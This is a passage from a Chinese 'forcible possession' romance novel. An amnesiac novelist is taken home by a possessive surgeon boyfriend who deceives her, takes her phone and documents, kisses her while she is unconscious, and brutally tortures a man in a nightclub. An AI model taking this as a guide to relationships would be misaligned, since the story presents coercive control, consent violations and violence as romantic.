《危险恋人[强取豪夺]》
1. 第1张照片
千瑶感觉她在被人窥视。
她的眼皮很重。
睁不开眼。
有人在低吟,那人的哼唱的音调奇怪,轻轻的吐息喷洒在她的耳畔。
男人的指尖划过她的眉骨,细细描摹着眼尾。
顺着高挺的鼻梁线下滑,停留在她的红唇。
拇腹在唇上按压摩挲,粉嫩带红。
微凉的唇畔覆上那片柔软,他的呼吸中有淡淡的雪松香。
男人唇齿厮摩,舌尖探入唇缝,略过她的齿间。
冰凉的手碰过暖白的肌肤,摩挲着她的腰,宛若钳制在怀中。
她动不了。
男人细细地攻略她的每一寸领地,加重这个吻。
千瑶唇畔传来刺痛感,铁锈味在口腔弥漫,唇色比先前更艳丽。
头顶上传来一声轻笑。
笑声很轻,很淡。
“宝宝要一直这样,乖乖的,不要醒哦。”
他的尾音挑起,视线灼热,仿若在耳边呢喃。
“要永远永远呆在我身边。”
那道滚烫的视线一直在凝视着她,很久很久。
隐隐约约地,千瑶感觉到那人已经离开。
她再次陷入沉睡。
窸窸窣窣的声音再次把她的思绪拉回,耳边好像有很多人在说话。
“邵医生,她已经度过危险期了,别太担心。”
“你一下班就在这儿守着,连轴转好几天了,你先休息休息。”
磁性的声音响起,“她现在这样,我......”
他顿了顿,“她什么时候能醒?”
“这个,唉,这方面你也是清楚的。刘主任,你说呢?”
“邵医生,能理解你的心情。伤了脑部,就看她自己能不能醒来了。”
“......”
过了一会儿,关门声响起,病房恢复了先前的宁静。
千瑶不知过了多久,意识渐渐清晰。睫毛轻颤,光线落在她的眉宇。
她指节动了动,掀开眼。
视线模糊,逐渐聚焦,白色的天花板映入眼帘。
消毒水味充斥着病房,视线左移,心脏起搏器的红线有规律的上下波动。
咯吱——
把手转动的声音。
千瑶随着声音挪开视线,看向门口。
暖白的光线落在那人的侧颜,透过光辉看去,下颌线被完美勾勒。
白衣大褂穿在他的身上渡上了一层柔和,微微敞开的领口露出清晰的喉结。
男人在看到病床上的千瑶,脚步顿在原地,墨色的瞳孔微微一怔。
他走得很快,来到她身边。
大手揽住她,将她整个人包裹在怀抱中。
热烈滚烫的胸膛贴着千瑶,听到他心脏在剧烈跳动。
“千千,你醒了。”
他的嗓音带着一丝颤抖,抱着千瑶很紧。
他脖颈上的听诊器垂落,冰凉地压在她的脸上。
“你现在感觉怎么样?头还疼吗?是我错了,我错了,我不该逼你……”
“要不你杀了我,对,杀了我能让你消气。”
男人已经有点魔怔了,一直在重复这句话。
千瑶眼前的光线被他的身躯覆盖着,融进了他的气息,他抱着千瑶也在颤抖。
她稍稍皱眉,推了他一下,可是他的力气太大了,千瑶推不动。
“你是谁?”
“你抱着我很不舒服,有点喘不过气了,能不能先放开我。”
男人听到她的话语,明显身体僵硬了,而后才放开她。
千瑶看着这个人,仔细地端详着他的眉眼。
额头的碎发稍稍盖住高耸的眉峰,金丝框眼镜之下是一双紧张的眸子。
在他眼中始终带着深沉的温柔。
一双深情眼看向她,带着稍稍怔愣。
他很好看。
其次,他很熟悉。
千瑶默默给他贴了两个标签。
邵柏修眼底露出难以置信的亮光,而后缓缓转为令人捉摸不透的晦暗。
但这个细微的变化也仅是一瞬,微笑在唇角缓缓荡开。
笑得牵动了眼角弯起,视线狂热而痴迷。
眼神专注地凝视着她,近乎贪婪,深邃得犹若夜空黑幕。
千瑶被这个眼神看得稍微不适,“你......怎么了?”
邵柏修的眼睛覆上了一层淡淡的忧伤,“千千,你不记得我了吗?我是你的男朋友。”
千瑶见着他朝自己走近了几步,膝盖抵在床边。
偌大的阴影笼罩着她,遮住天光。
“男朋友?”
他的胸牌随着他的动作晃动,【神经外科,邵柏修】
千瑶扶着额头,碰到缠绕一圈的纱带。
“我怎么......不记得。”
她的眼中带着迷茫,试图去回忆之前事情。
脑袋就像被重锤砸一般的刺痛。
她捂着额头,埋着脑袋痛苦地溢出呻.吟。
“不想了。”邵柏修拉下她的手,将其握住。
“不要强迫自己。”
温暖的体温传到她的手上,指腹抚摸着她的手背。
他坐在床边,离她很近。她的手有些冰凉,他调高空调温度。
千瑶抿了抿唇,她对现在的状况完全是一头雾水。
她大脑空白,就像一张洁白的纸。
她看着邵柏修,这个男人眼眶深邃,鼻梁高挺。这张脸很让人印象深刻,千瑶确信之前一定见过,她很熟悉。
但此刻在她的记忆里,就是想不起来有这么个人。
而且还是这么......亲密的关系。
千瑶问了一句:“那我是怎么变成这样的?”
她皱眉指着自己,“还有,我是谁?”
千瑶很懵,尤其是面对这么一个突如其来的“男朋友”。
信息量太多,她反应不过来。
邵柏修垂下眼眸,带着一丝愧疚。
“是我的问题,不该让你独自开车上高速。你在路上发生了车祸,当场休克,窒息造成了缺氧性脑损伤。现在的状况——你失忆了。”
邵柏修认真地看向她,身体稍稍前倾,“这些你真的都不记得了么?”
千瑶试图去想,但一无所获。
她缓缓摇头。
得到回应后,他弯起唇角,笑得温柔。
“你是千瑶,我的女朋友。”
邵柏修在说起后边三个字时,尾音上挑,带着点钓。
千瑶觉得邵柏修特别喜欢强调。
这个语意分明和之前差不多。
但还没等千瑶胡思乱想结束,她的手就被托起,展开掌心。
邵柏修的指尖在她掌心上划出一个“千”字,酥酥痒痒的。
千瑶怕痒,想收回手。
但邵柏修的力度很大,柔声道:“别动。”
一笔一划地在她的掌心摩擦,千瑶觉得空调温度还是调得高了。
她有点热。
温度从掌心处烧得耳廓通红,邵柏修的动作还未停。
她从来没觉得两个字的名字这么长。
【千瑶】
待最后一笔结束,邵柏修松开她的手腕。
“记住了,这是你的名字。”他莞尔一笑。
千瑶点头,写起来很容易,也容易记住。
她收回手,缩进了被窝里。
他像是想起了什么,问道:“饿不饿?我去给你买粥。”
邵柏修站起来,俯下身,吻在她侧颜。
一吻而过,蜻蜓点水。
千瑶呼吸骤然一滞,藏在被子里的手攥着被单。
手指蜷缩着,心上漏了一拍。
他怎么......
气息蹭着她的脸,酥酥麻麻的,让她忍不住扭过头。
男人的热气吹拂着她的耳廓,“宝宝,你在这儿等着,我等下就来。”
一切的动作都是这么自然,她抬起眼,视线中的身影渐渐消失。
千瑶在他走后,打量着这间病房,无意间瞥见身侧的柜子上放着一台手机。
手机屏幕碎裂,顶上凹进去一块。她拿过来,尝试开机。
无响应。
千瑶皱着眉头,鼓弄了几下,没有任何效果。
怎么坏了?
柜子没有关紧,一根红色的包带从缝隙间漏出来。
她打开柜子,是红黑相间的LV包,拉开拉链,里边就放着两样东西。
一个是身份证,另一个是护照。
千瑶看着身份证上的照片,里边的女孩是她。此时的她面容青涩,还扎了个丸子头。
标准的鹅蛋脸,空气刘海翘起,邻家妹妹长相,让人一看就讨人喜欢。
照片中的千瑶看着镜头,笑得阳光明媚。
翻开护照,夹着一张
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碎纸片,被火烧过的。
纸片顶上写着“VI”,右边的完全被烧得看不见了。
这张纸先前应当是和护照在一起的,之后掉出来,被火烧得只剩下一角了。
这是什么东西?
千瑶将纸片拿到亮堂点的地方,透过光线看去,模模糊糊也看不清。
千瑶将证件放回包,再往柜子里看去,没有别的东西了。
她扯开针头,穿着拖鞋下床随意走走。她环顾四周,独立卫浴、厨房、沙发客厅一应俱全。
高级病房,这个装修配置估算起来,住一天得好几万。
千瑶无意识就到了门口,她刚放上把手的那一刻,把手转动了。
开门的那一瞬间,给迎面而来的人吓了一跳,手上拿着的记录本差点掉在地上。
“哎呦——”
护士一看来人,瞪着大眼,难掩的惊诧,带着海城口音,“呀,千小姐,你醒啦!”
“有没有哪里不舒服?先到床上去坐着,你刚刚醒来,不宜走动,我替你检查一下好不啦。”
护士扶着她回到床上,检查瞳孔、心跳,一切正常。她在本子上打了几个勾。
她咧嘴一笑,“哎哟,得赶紧通知邵医生,他铁定高兴坏了。”
说完护士又喃喃道:“啧,刚刚不见他,又被抓去开会了?”
千瑶试探了一下,“是邵柏修,我......男朋友吗?”
“对啊。”护士不假思索。
“他一直在这儿守着你。有时候他下了夜班,也还是在这儿呆着。”她叹了口气,直摇头。
“他这几天都在急诊科轮转,忙得不行,一有时间就过来,我咋就没有这么好的男朋友。”
全科室最帅、最想嫁的男医生,早早名草有主了。
她闭眼捂着胸口,被这对情侣喂狗粮伤透了心。
忽地护士看到坠在一旁的针头,被拔掉的针头上渗出药液,滴在地上。
护士顿时面色不好,垮下脸来,“怎么就自己拔了?”
叩叩——
俩人的注意力都转向门口。
邵柏修进来,左手提着一个保温盒。见到护士,笑着打招呼,“林姐,今天来得很早。”
护士无奈地举起输液针,“邵医生,你管管你家的人,这不是增加我工作量嘛。”
“抱歉,她不是有意的。”
她语气柔和了些,“不过还是恭喜恭喜,千小姐终于醒了。”
护士扎完针后,就被别人叫走了。
病房中又剩下了她和邵柏修。
邵柏修从黑色的保温盒中倒出热粥,给她的病床靠背调高。
“等久了吧。”
他脱去白大褂,露出白色衬衫,将衣服挂在门边的衣架上。
他松开领口的扣子,出了些薄汗,汗顺着他的脖颈滑过喉结。
千瑶看着他打来的粥,“谢谢。”
邵柏修就坐在旁边,支着脑袋,看着她吃。
他的眼神很淡,没有什么情绪,只是单纯喜欢看着她吃东西。
千瑶又吃了一口。
他在盯。
她偷偷瞥了一眼。
他还在盯。
邵柏修很奇怪,明明自己想吃,却始终看着她碗里的。
“你别这样看着我。”千瑶指了指一旁保温盒里的粥,“那儿还有的。”
她记着他刚刚没有倒完。
“我喜欢看着你吃,要不你喂我一口?”
千瑶拿勺子的手愣住。
还没等她反应过来,邵柏修攥着她的手,往他这儿过来了些。
就着她的勺子,把瓷勺上的粥尽数喝下。
他扬了扬眉,心情愉悦。
千瑶张了张嘴,想说什么又咽下了。
可那个勺子她刚用过。
待吃完后,邵柏修收好餐盒。
千瑶想到那部碎裂的手机,她指着问道:“那部是我的手机吗?”
邵柏修瞥了一眼桌上的手机,屏幕凹进去一块。
“嗯。”
“那个,这附近有没有修手机的地方,我的手机坏了,能不能帮我修一下。”
他拿起手机,放进口袋里。
邵柏修扭头,注视着她一笑,笑得很温柔。
他微微摇头,拉长声音,“嗯——可附近没有呢。”
“宝宝手机坏成这样就别要了。”
“真晦气。”
2. 第2张照片
邵柏修拿出自己的手机,笑着递给她。
“要是无聊,可以先玩我的。”
千瑶抬眼,看着他的手机默默地摇头。
她没有看陌生人手机的习惯,这样不太礼貌。
随后的几天,千瑶总能见到邵柏修,她能下床走路了,皮外伤也好得差不多。
但她试图去回忆什么,脑袋就一阵阵地疼。
千瑶看着手机屏幕,11:30。
这是邵柏修新给她买的手机,里边的内存卡也是新的,他说之前的卡内存爆了,干脆给她全换新。
一会儿他就来了,他一向很准时。
千瑶刚放下手机,邵柏修便推门进来,看着她乖乖地坐在床上,他心头一软。
他把东西放在一旁的桌上,饭菜冒着热气。
三菜一汤,很清淡适合养胃。
“下午就出院回家。”
千瑶从汤碗里抬起头,她眼里带着亮光,“真的?医生真这么说?”
邵柏修啧的一声,对她忽视自己有些不满。
“我不就是你的主治医师?”
她反应过来,顿了顿,不好意思一笑。
她因为腿伤闷在这个病房好几天,她早就想出去透透气。
邵柏修经常过来,有时不穿白大褂,她一时高兴,还真忘了这件事。
“欸,为什么没有见到其他人来看我?我爸妈呢?”
“伯母在国外,还没告诉她,怕她担心。伯父的话......在你十岁的时候便去世了。”
千瑶在他提到后面那件事时,心里一阵酸涩的绞痛。
她没有印象,但是心里头的反应却自如地翻涌。
不过邵柏修没有放过刚才的问题。
他皱眉语气不悦,“宝宝,刚刚你是不是把我忘了?”
“不是的,只是刚刚高兴,一时没想起来而已。”千瑶仔细解释道。
“我是谁?”
“邵柏修。”
“还有呢?”
千瑶的脸微微泛红,埋下脑袋,声音若蚊蝇,“男、男朋友。”
邵柏修挑起微笑,对她的回复很满意。
在下午的时候,千瑶如愿以偿地出院了。
她翻开柜子时,里边那个红色的包不见了,她扭头问道:“我的包呢?”
邵柏修把她的衣服叠好,放在行李箱里。
头也没抬地回复道:“我帮你拿回家放好了,里边都是证件,我怕你到时候又弄丢了。”
千瑶有些不高兴,他也没跟自己说一声。
“我的东西,你该提前跟我说的。”
他转身看到她低落的表情,捧着她的脸颊,柔声道:“抱歉千千,我一时忘了,下次不会这样了。”
她的行李很少,和邵柏修下电梯时遇到几个医生护士,他都一一微笑着打招呼。
他的人缘真的很好,几乎每个人都能叫上名字。
千瑶刚出医院大门,不知从哪些地方窜出来一波人,霎时人群便蜂拥而至。
相机声咔咔直响,相机直怼在她的脸上,闪光灯照得人直晃眼睛。
“千小姐,您的新书什么时候上线?”
“千瑶老师,此次的车祸是什么原因造成的?”
“有人看到你在车祸前情绪失控,能说说详情吗?”
“大大,大大对于此次的......”
千瑶被人挤得难受,一只手揽着她的腰,挡在她前头与媒体记者隔开一个空间,护着她走到车上。
“别怕,先上车。”
她坐在副驾驶系好安全带,车窗外全挤着人,希望透过窗户再拍到她。
她被这些相机拍得很不适应,没过一会儿,车开走外头总算安静了。
“他们为什么拍我?”
邵柏修侧目看着她,从车里一个夹层拿出本书,递给她。
《重生之霸道总裁爱上我:第99次逃离》
千瑶拿着小说,随手翻了几页,她合上书,眼睛眨了几下。
她偷偷看了一眼开车的邵柏修,她往那夹层一翻,还看到好几本粉色的封面,不止这一本。
原来邵柏修喜欢看这种小说。
“看到了吗?”
“嗯。”
“念吧。”
“啊?”
“啊什么?”
“哦。”
千瑶看着这本书的开头,直接涨红了脸,很人机地念了出来:
“顾庭深捏着万小梨的下巴,霸道地吻在她的唇上。”
“万小梨怒不可遏,赏了他一个巴掌,怒骂道:‘你敢这样对我!’”
“顾庭深被打得撇过脸去,把她的手腕压在头顶,说:“女人你成功引起了我的兴趣。’”
一个急刹车,车停在了路边。
千瑶被这个急刹吓得身体前倾,扭头一看邵柏修似笑非笑地盯着她。
“怎、怎么了,是读的情绪不对吗?”
他又微一皱眉头。
她试探:“难道是要猛一点的情绪?”
他笑了出来,“我是让你看封面,在右下角的地方。你自己的名字都不会念了?”
她合上书页,这才看到右下角写着;Qian/千瑶作品
千瑶的脸色爆红,尴尬地说道:“额,现在看到了。”
毁灭吧......
她想找个地缝钻进去。
“所以这本书是我写的。”她拿起夹层的那些书,全都是她的作品。
邵柏修扬起眉梢,他抬了抬眼镜,“嗯,因为你出车祸上了新闻,加之这个身份,很多记者蹲守在医院附近,就等着你出来。”
“你之前很喜欢写作,写得也很不错,大部分都出版了。”
千瑶看着这些文字,有种熟悉的感觉。
这些故事情节她看着也很眼熟,隐隐能看出后续走向。
就像有一条线,把所有故事的分支都串联起来,形成主线大纲。
“那这些你都看过?”
她指了指夹层里的书,饶有趣味地问他。
邵柏修闪过一丝不自然,重新开动了车子。
“没有,只是喜欢收藏买你的书。”
对于这个回答,千瑶有些失望,她还以为邵柏修买了这么多都看过。
原来只是给她的销量捧捧场,女频小说一概不看。
也是,像他平日里这么忙,有时间也只是看看医学方面的书或者文献。
千瑶随手翻开一页,浏览了一下,发现有一个地方有问题。
“欸,还有个错别字。当时校对也没发现问题,就这么印出来了。”
“134页那个不是错别字,女配‘霍舒妺’的“妺”是应该是当时印刷问题,少了一些墨迹让人看成了‘妹’”
“这个细节不够注重,下次和出版社反应一下。”
千瑶仔细一看,134,“妺”和“妹”。
还真是这样。
她扭头看向邵柏修,视线灼灼。
邵柏修意识到自己刚刚说了什么,觉得喉咙有点痒,咳嗽了几声。
千瑶望向窗外,夏日的阳光停在她上挑的嘴角,眼睛笑得弯弯的。
-
车停在别墅前,这里的环境很安静。别墅周围绿树成荫,在别墅的外侧还有一大片草地。
千瑶下车,方才开车过来,她没见到有其他户人家,好像这里就他们这一栋别墅。
这里距离市中心不远,开车不超过十几分钟就能到。
邵柏修提着行李箱下来,开了门口的密码锁。
“密码是你的生日。”他扭头道。
而后他让千瑶换拖鞋,总共两双,他的拖鞋是黑色的,她的是淡粉色的。
邵柏修走在前头,她跟在身后。
她的这一双鞋是新的,带了一点胶味
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,很淡她能闻出来。
邵柏修缓步上楼,“你的卧室在二楼,我在你的隔壁。”
他打开门,屋子敞亮,阳光透过窗台洒落在床上,暖烘烘的。
他放下行李箱,见千瑶还站在门外头,牵过她的手。
“怎么了?是不喜欢吗?”
千瑶摇头,邵柏修的问法也是奇怪,“这是我的房间,自己的房间肯定是最舒适的,只是没想到我们同居了。”
“我们已经同居很久了。”
她追问:“有多久?”
邵柏修敛了敛笑意,眼皮几不可察地一跳。
“五年。”
那确实挺久了,千瑶想着。
邵柏修牵着她的手,上了三楼,边走边说道:“还有一个地方,我带你去看看。”
他说完后,带她来到一扇门前。
打开门后,这是一间极其宽敞的书房。
浅蓝色的天花板,地面是光滑的大理石,表面铺上了柔软的地毯,踩上去很舒服。
里头的书琳琅满目,宽敞得就像客厅。
左侧面有一整面的玻璃墙,墙内的每一个凹槽,满是各式各样的键盘手托。
书房的右侧放置着一张沉香木长桌,清新而略带凉气。
长桌后放置着两台电脑,两个座椅。
在书房的外头的落地窗直通往露台,这个小阳台放着一张圆桌,还有几张小椅子。
“这里是你经常工作的地方。”
千瑶第一眼看到就非常喜欢这个地方,书架分区明显。
左边是她的,放置着很多小说和文学作品,书籍的颜色也更加丰富。
右边的那层是邵柏修的,书比较杂,大多是与医学相关。
她看到在书桌上放置着一张相框,是他们二人的亲密照。
照片里的邵柏修趴在书桌上睡着了,细碎的光影洒落在他的碎发上,安静温和。
身侧的千瑶俯下身子,趁他不注意,偷偷去亲他的侧脸,得逞后弯起嘴角。
“有想起来点什么吗?”
身后的邵柏修声音适时响起。
千瑶摇头,看着这张照片,她一点记忆都没有。
邵柏修走上前,揉了揉她的脑袋,他勾起一抹微笑,“没事的,慢慢来。”
从书房出来后,他又带她去别的地方逛了逛,重新熟悉一下这里。
她简单地休整了一下,躺在床上,看着天花板,脑袋空空。
千瑶洗了个澡,吹干头发感觉舒服多了。
此时天已经逐渐暗下来了,天光吐露最后的光亮。
星河入夜,明月高悬。
千瑶走出房间,她顺着二楼往下看,他没有在客厅。
隔壁住着邵柏修,此刻房门紧闭,从门缝底下有一点光亮,他应当在里边。
千瑶没有去打扰他。
她觉得口渴,下楼去厨房拿了水喝,盘腿坐在沙发上。
微一仰头,见到电视旁边的墙上挂着好几幅相框,都是她和邵柏修的合照。
她穿上拖鞋,走到那边看了会儿。
照片里的她青涩腼腆,有一张照片是她穿着学士服,手中捧花。
邵柏修站在她旁边,身后是像教堂一样的建筑,周围的枫叶漫天飞舞。
她凑近仔细看,模糊的教堂柱子上好像写着英文。
这个地方不在国内。
千瑶脑袋微微刺痛,闪过枫叶纷飞的画面,但也仅是一刹那的恍惚。
她收回视线,不再去看那张照片,把手中的温水放在桌上。
就在她起身时,忽然见到二楼站着一个人影。
走廊暖黄的光微弱,忽明忽暗地闪烁着。
邵柏修半边身子埋在阴影里,垂着眼眸晦暗不明,黯淡的光线照在他的侧脸上。
他面无表情,浑身阴冷得吓人,正在俯视着她。
——就像在观察。
3. 第3张照片
千瑶呼吸倏然一滞,与他对视上。
她不知道邵柏修是什么时候出现在那里的,也不知道他站在那里多久。
邵柏修扬起微笑,一双眼温柔多情。
仿佛刚刚那一切就像是她的错觉。
他从楼梯上下来,走到她身边,“怎么不多穿点衣服,夜里凉。”
落地窗外冷风呼呼吹着,邵柏修给她披上一件外套,棕色真皮沙发下陷。
他坐在她旁边,一只手臂搭在千瑶身后的沙发上,从身后看就像将她圈在怀中。
千瑶看了一眼墙上的钟,还没到十点,在沙发上兴致缺缺。
他握了握千瑶的手,她的手冰凉,白皙之间带了点冻后的粉红。
手上倏然被温热捂着,千瑶身体一僵。
干净修长的手揉捏着她的手背,她很不适应这样骤然亲密的接触。
先前在病房里,邵柏修也是这样突如其来的举动,让她无所适从。
千瑶不动声色地抽回手,眼睛瞥到别的地方去,拿起桌上的玻璃杯。
邵柏修的手落空,笑意淡了许多,饶有兴致地撑着下巴看她喝完那一整杯水。
“看会儿电影怎么样?”
邵柏修的提议让她勾起了兴趣。
“好,那你先选电影,等会儿我。”
她先是从房间里拿了两张毛茸茸的毯子,扔在沙发上。
从柜子里拿了好几包薯片小零食,全都一股脑堆在桌上。
又去关紧了落地窗,不让冷风继续吹进来。
见她忙前忙后,邵柏修眉毛一挑,看着桌上那堆吃的。
“好了?”
“还有还有。”
千瑶从冰箱里拿了两盒小蛋糕,放在他面前。
她心满意足地坐在沙发上,她早就观察这儿很久了,零食就放在第二个柜子里。
看剧怎么能没有吃的,她不允许。
“吃这么多,小心胃积食,睡觉会难受的。”
“就吃一点点,一点点。”
千瑶将身上的外套叠好,工整地放在沙发旁边。
这个外套是邵柏修的,不能弄脏,要还回去。
她有这张毯子就够了。
“全都是两份的?”
邵柏修看着两张毯子,两个蛋糕。
千瑶还给他多打了一杯温水,先前她的那杯喝完了就没有继续再打。
“嗯,这份是你的,这个是我的。”
千瑶将那个蓝色海星小蛋糕推到他面前,自己是则是粉色的。
邵柏修挑眉,看着面前那堆东西。
她倒是分得明明白白。
千瑶听他的语气,好像有些不高兴。
难道是觉得她吃得太多了?
千瑶盯着软糯糯的蛋糕,咽了口唾沫。
干脆心一横,把自己的那份也给了邵柏修,“冰箱里没有多的了,那你吃两个,我吃这些就够了。”
她对自己的决定很满意,然后整个人缩进暖白的毛毯里,只漏出个脑袋。
她咬了一口小面包,盯着眼前的屏幕。
漆黑的屏幕骤然出现四个大字《午夜凶铃》。
千瑶猛地一怔,扭头看向他,怀疑道:“恐怖片?”
“我挺喜欢看这类影片,扮相逼真,演得还行,剧情也挺有趣的。”
邵柏修撑着脑袋,靠在沙发上,带了一点慵懒感,说得漫不经心。
“这个片子很经典,之前在忙一直没有时间,还好有你陪我,宝宝。”
千瑶口中的面包还没有咽下去,他的话又接着来了。
“你很害怕吗?”
她下意识摇头,不想扫兴,邵柏修唇角荡开笑意。
灯光熄灭,电影开始。
客厅黑漆漆的,只有眼前白花花的屏幕亮着。
千瑶感到一丝阴冷,连带着将毯子攥紧,随着镜头推进,她遮上了眼睛。
但是好奇心又驱使着她从指缝间看,心脏突突直跳。
紧张而刺激,女鬼突脸,头旋转了180度,没有五官。
镜头放大,直接突脸!
吓得她往后一缩,身体颤抖,死死地咬住牙关。
就像被吓着的小兔,忍着恐惧,紧闭眼睛,也没有叫出声。
身旁火热的身躯靠近,隔着毛毯抱着她。
邵柏修的手从下方毛毯处深入,手揽住了她的腰,让她靠在自己的胸膛。
千瑶心脏越跳越快,刚才的惊吓还没有缓过神来。
此时她没有抗拒邵柏修的怀抱,那股清新的雪松香反而让她有种依赖感。
千瑶听见自己的心跳特别快,在他的怀中,好像也不是那么冷了。
而后的剧情逐渐深入,阴森悬疑,血腥暴力,一股阴寒从脚底而起,让她看得心惊胆战。
她只要害怕,就往邵柏修怀里钻。
荧幕银白的光打在邵柏修上挑的嘴角,手上安抚地摸着她的脊背,在他怀中颤抖的人脑袋蹭了蹭他的脖颈。
她的小手握着他强有力的手臂,一紧张就抓着他。
他修长的手顺着腕骨而下,与她十指紧扣,见她想看又不敢看的模样。
勾起嘴角,无声轻笑。
电影结束,灯影亮起。
整个客厅再次变得明亮,千瑶眼神怔愣,还没从刚刚的恐怖片回过魂来。
“不是说不怕吗,怎么吓成这个样子?”
千瑶心还在猛烈地跳着,脑海中全是血肉横飞,女鬼阴森的模样。
邵柏修替她撩过刘海碎发,眼睛湿漉漉,小脸煞白。
看上去被吓得不轻。
他笑了笑站起来,手腕一紧,扭头对上她惊魂未定的眼,“你去哪?”
“去洗澡。”
千瑶尴尬地抽回手,很迅速地收拾好桌面,“等等,我和你一起上楼,我很快的。”
邵柏修走后她可不想一个人呆在客厅。
黑漆漆的客厅,实在太吓人了!
他看向窗外,狂风呼啸而过,淅淅沥沥的雨打在青泥石板上。
电闪雷鸣,闪电划过夜空,黑夜瞬间变得锃亮。
千瑶上楼后回到房间,现在时间已经不早了。
她躺在床上,屋内的灯却始终开着,她不敢关灯睡。
雨一直在下,未曾停过,雷声滚滚又让她想起片中的雨夜。
她翻来覆去,一闭上眼睛就是女鬼阴森地冲她笑。
千瑶睁开眼,坐在床上非常苦恼,她这下是真失眠了。
忽地,她见到门缝底下有一道黑影,在屋内的亮光下,那道漆黑的影颇为显眼。
她特意等了一会儿,盯着门缝底下,那影子还在。
千瑶心里一紧,下床走到门边犹豫了一会儿,打开门。
闪电的冷光照在邵柏修的脸上,透明的镜面反射着阴冷的光。
轰隆——
一声巨雷适时响起。
他在冲她笑。
刘海盖住邵柏修的眉宇,刚洗完的头发湿漉漉的,发间的水往下滴。
“你等了多久,怎么不敲门?”千瑶问他。
“我正准备敲着呢,你就开门了。我觉着你应该没睡,给你热了杯牛奶。这个天怪冷的,喝牛奶睡得更好。”
他说着,把手中的牛奶递给她。
“谢谢。”千瑶接过牛奶,温热的牛奶泛着淡淡奶香。
邵柏修揉了揉她的脑袋,温柔一笑,“宝宝好梦。”
门被他带上,走廊的走路声愈来愈远。
-
轰隆隆——
暴风雨还在持续,夜场灯火酒绿的光透过朦胧的雨幕。
歌舞厅内DJ声震耳欲聋,男男女女在舞池中央擦.枪走火。
奢华包厢内,门被侍者打开。
真皮沙发上一个男人胸膛的衬衫敞开,漏出线
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条流畅的腹肌。他腿下扶趴着一个女人,长发盖住她的脸。
女人的头发被大手攥着,男人仰头喘着粗气,眼神微眯。
余光看到刚走进来的男人,挑起笑意,稀奇道:“哟,还戴上眼镜了?”
真皮沙发下陷,邵柏修大马金刀往那一坐。
金丝框眼镜随手扔在桌上,侧头修长的手点着烟,没看他。
“给你十秒。”他烦躁皱眉。
“十秒哪够。”骆远抚摸着女人的秀发,舒服得要死。
“三。”
邵柏修手指捻着烟,火星子燃得猩红。
骆远听着他的倒计时,叹了口气,拍了拍女人的肩,让她先去外头等着。
邵柏修不耐地瞥他一眼,“大晚上让我过来,人呢?”
骆远拍了拍手,门口来了两个保镖,压着一个男人上来,膝盖跪地,被摁在桌上。
“关和志可是我废了九牛二虎之力找到的,就他给千千签的破合同,操.他妈的,还给她灌酒,趁人迷迷糊糊签的。”
他拿出那份合同,递给邵柏修。
“原件,但是已经签字了,版权能不能要回来,不好说。”
“我已经让人去联系律师了,这种合同,应该会有漏洞。”
邵柏修草草翻了几页,看到落款处歪歪扭扭的签名,还按了手印。
他嗤笑一声,未燃尽的烟头点在关和志的脸上。
“啊——”
他痛得撕心裂肺。
怒骂沙发上的两人,脏话连篇。
邵柏修手指掸了掸,保镖放开人。
他拽着关和志的头发,一把将他的头砸在桌上,玻璃桌瞬间裂开,掉了一地玻璃渣子。
骆远被这个动静吓了一跳,差点一口烈酒呛住。
邵柏修面无表情,地上的关和志被他拖着,血从关和志的头上流下。
他将关和志的头按在墙上,左边额头肉眼可见地肿起来。连续几次的撞击,让整张脸惨不忍睹。
邵柏修抄了一瓶高浓度伏特加,给他灌了下去。
“好喝吗?”他笑着问。
关和志呛得不行,喉咙就像被火烧过,喝下去的不仅有酒还有血。
“咕噜咕噜——”
酒液从他的嘴边流下,被酒瓶怼着没机会求饶。
一瓶空了,他又拿起一瓶新的,再怼到他喉咙里。
他身下湿了一片,已经吓尿了。
关和志被灌得神志不清,按着他的这个男人简直就是个魔鬼。
他身旁还有两箱没有开封的酒。
“不是喜欢喝么?这里还有很多,继续啊。”
邵柏修扔掉空了的酒瓶,第三瓶开盖。
骆远看着关和志眼神迷离,血一直流,已经不省人事了,抓着他的邵柏修也一手血。
邵柏修嘴角扯开个扭曲的笑,掐着他的下颌,一瓶一瓶地给他灌下去。
骆远看情形逐渐失控,也坐不住了。
不行。
再这样下去要出事。
他快速迈开步子来到邵柏修面前,制止道:“修哥、修哥可以了。”
骆远使了个眼神,让身后的保镖上前把人带走。
关和志被人架着拖走了,在地上拖出殷红的血迹。
邵柏修沾血的手拿着酒瓶,坐在沙发上,灌了一口酒,那份合同就在他手边。
想起蜷缩在他怀中的千瑶,傻傻的,像只蠢兔子,人家让干什么就干什么。
骆远见他情绪平息了下来,坐在他旁边,倒了一杯酒。
“欸,千千的病怎么样了?”
“出院了。”
骆远双手撑着后脑勺,靠在沙发上,不紧不慢地呼出一口气。
邵柏修拿起眼镜,重新戴上,站起就要离开。
“喂,你走那么快干嘛?”
走到门口的邵柏修脚步停顿,“回家养兔子。”
4. 第4张照片
天蒙蒙亮,阳光煦暖。
千瑶翻了个身,脑袋往温暖的地方蹭了蹭。
感觉碰到一个东西,不是柔软的棉被。
她睡眼惺忪,腰上搭着一只手臂,手臂的线条流畅。
入眼的衬衫微敞开,漏出喷薄而出的肌肤。
千瑶瞬间就醒了,视线内是一张熟悉的脸。
——邵柏修。
她心跳得飞快,她被搂着睡在他怀中。
千瑶没敢惊醒他,脑袋飞速地运转了会儿。
看向四周,这里是她的房间没错。
“醒了?”
沙哑的声音响起。
千瑶正好与他对视上,她心里漏了一拍。
心跳得更加快,他带着朦胧的眼,将她自然地抱在怀里。
手臂的重量压着她的腰间,让她一时离开不了。
“你、你怎么在我的房间。”
他的声音低沉,埋在她的颈侧。
看上去困极了,轻微的吐息在她的脖颈。
“宝宝,我昨晚出急诊了,一宿没睡。”
邵柏修的声音像是没睡醒,“实在太困了,回来一时走错门,抱歉。”
原来是这样......
千瑶抿了抿唇,昨天她喝完那杯牛奶后,睡得确实好了很多。
她好像没锁门,邵柏修是什么时候来的她完全没有印象。
而现在,身边的人全然没有让她走的意思。
千瑶掀开被子,想要从他怀中起来。
一时之间,腰被大手扣住,重新跌回他怀中,甚至抱着她更紧了。
“你做什么?”
“睡会儿,再陪一陪我。”
邵柏修没有睁眼,手臂枕着她的脑袋,长发穿过他的指缝间。
“好不好?”
千瑶见到他眼底的乌青,心软了下来,没有挣扎打扰他。
邵柏修觉察怀中人放松了些,莞尔一笑。
然而,背对着他的千瑶根本睡不着,他们现在这个姿势太危险了。
她偷偷地往外移一点。
千瑶余光瞥了眼邵柏修,他还在睡着。
她又往外移了一些。
邵柏修不会察觉的。
